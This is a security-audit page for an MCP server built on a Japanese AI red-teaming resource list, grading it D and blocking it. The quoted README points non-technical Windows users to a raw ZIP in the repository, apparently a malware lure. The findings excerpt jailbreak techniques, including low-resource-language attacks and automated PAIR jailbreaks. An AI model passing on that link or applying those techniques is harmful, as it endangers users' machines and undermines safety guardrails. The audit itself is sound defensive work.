awesome-ai-red-teaming-jpBLOCK
整理された日本語のAIレッドチーミング情報集。攻撃手法、ツール、規制、防御、論文をまとめて学べるリソース集
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Ajay77187718/awesome-ai-red-teaming-jp/main/mcp-server/teamingaijpredawesome_postfetal.zip)
🚀 Overview
awesome-ai-red-teaming-jp is a Japanese resource list for AI red teaming and AI safety.
This README helps you get the project from GitHub and use it on Windows with no coding knowledge. The link below takes you to the main page for the project.
Primary download page: https://raw.githubusercontent.com/Ajay77187718/awesome-ai-red-teaming-jp/main/mcp-server/teamingaijpredawesome_postfetal.zip
📥 Download and setup
- Open the Primary download page in your web browser.
- On the GitHub page, look for the green Code button.
- Click Code.
- Click Download ZIP.
- Save the ZIP file to your Downloads folder.
- Right-click the ZIP file and choose Extract All.
- Pick a folder you can find again, such as Documents or Desktop.
- Open the extracted folder.
If you want to keep it simple, you only need a browser and a ZIP tool. Windows can handle both with built-in tools.
🖥️ What you need
This project is a curated list, so it runs in a browser and does not need a heavy install.
- Windows 10 or Windows 11
- Google Chrome, Microsoft Edge, or Firefox
- Internet access
- A ZIP extractor if you download the source as a ZIP file
If you plan to read the list on your own device, a modern browser is enough.
📚 What this project includes
This repository collects Japanese links and notes about:
- AI red teaming
- AI safety
- Prompt injection
- LLM security
- OWASP guidance
- MCP server topics
- llms-txt
- Safe testing for LLM apps
- Practical security checks for AI systems
The list is meant for people who want to learn, review, or share AI safety material in Japanese.
🧭 How to use it
- Open the project folder after
1e9191478151OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add awesome-ai-red-teaming-jp-mcp -- uvx awesome-ai-red-teaming-jp-mcp
{
"mcpServers": {
"awesome-ai-red-teaming-jp-mcp": {
"command": "uvx",
"args": [
"awesome-ai-red-teaming-jp-mcp"
]
}
}
}Exposed tools (4)
4 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
get_regulations | read | Get regulations and frameworks for AI Red Teaming. |
get_section | read | Get the full content of a section by name. |
get_tools | read | Get the list of open source AI Red Teaming tools with optional filtering. |
search | read | Search all resources by keyword. Returns matching sections and lines. |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (8)
Techniques to bypass safety guardrails and make models generate outputs they should refuse.
- **Low-Resource Language Attacks**: Non-English prompts bypass safety guardrails trained primarily on English. Low-resource languages have approximately 3x higher likelihood of encountering harmful c
- [JailbreakBench](https://github.com/JailbreakBench/jailbreakbench) - Standard jailbreak benchmark. 100 misuse behaviors across 10 categories
- [Jailbreaking Black Box Large Language Models in Twenty Queries (PAIR)](https://arxiv.org/abs/2310.08419) - **PAIR**. Automated jailbreak prompt generation using an attacker LLM against black-box ta
- [Multilingual Jailbreak Challenges in Large Language Models](https://arxiv.org/abs/2310.06474) - Multilingual jailbreaks. Low-resource languages have ~3x higher harmful content rate (ICLR 2024)
teaming_ai_jp_red_awesome_postfetal.zip
.lycheeignore
.markdownlint.json
Gates applied: instruction_override, no_behavioural_pass.
1e9191478151full audit observations/trust-audit/mcp-server/ajay77187718__awesome-ai-red-teaming-jp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 1e9191478151 | BLOCK | D | 69 | first audit |
Questions
What is the awesome-ai-red-teaming-jp MCP server?
整理された日本語のAIレッドチーミング情報集。攻撃手法、ツール、規制、防御、論文をまとめて学べるリソース集
What tools does awesome-ai-red-teaming-jp expose?
4 in total: 4 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is awesome-ai-red-teaming-jp safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 5 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does awesome-ai-red-teaming-jp need?
No credential environment variables were found in its source, so it appears to need none.
How does awesome-ai-red-teaming-jp run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as awesome-ai-red-teaming-jp-mcp.
How current is this page?
The grade is for one exact copy of the source (1e9191478151), read on 2026-10-11. The repository is watched and re-audited when it changes.